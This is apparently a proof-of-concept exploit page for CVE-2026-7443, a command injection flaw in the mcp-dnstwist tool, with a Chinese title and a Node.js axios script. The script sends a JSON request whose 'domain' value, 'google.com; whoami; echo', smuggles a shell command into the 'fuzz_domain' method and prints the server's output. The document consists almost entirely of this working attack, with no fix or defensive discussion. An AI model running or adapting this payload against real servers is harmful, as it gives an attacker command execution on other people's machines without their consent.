CVE-2026-7443 mcp-dnstwist远程命令执行漏洞

// Proof of Concept for CVE-2026-7443 // This script demonstrates how to exploit the OS command injection // by sending a malicious payload to the 'fuzz_domain' function. const axios = require('axios'); async function exploit(targetUrl) { // The vulnerable argument 'Request' is manipulated with command separators const payload = { "domain": "google.com; whoami; echo", // Malicious payload to inject OS command "method": "fuzz_domain" }; try { console.log("[*] Sending malicious payload to target..."); // Sending the request to the vulnerable endpoint const response = await axios.post(targetUrl, payload); console.log("[+] Response received from server:"); console.log(response.data); // If successful, the output of 'whoami' should be visible in the response } catch (error) { console.error("[-] Exploit request failed:", error.message); } } // Replace with the actual target URL // exploit('http://localhost:3000/api/fuzz');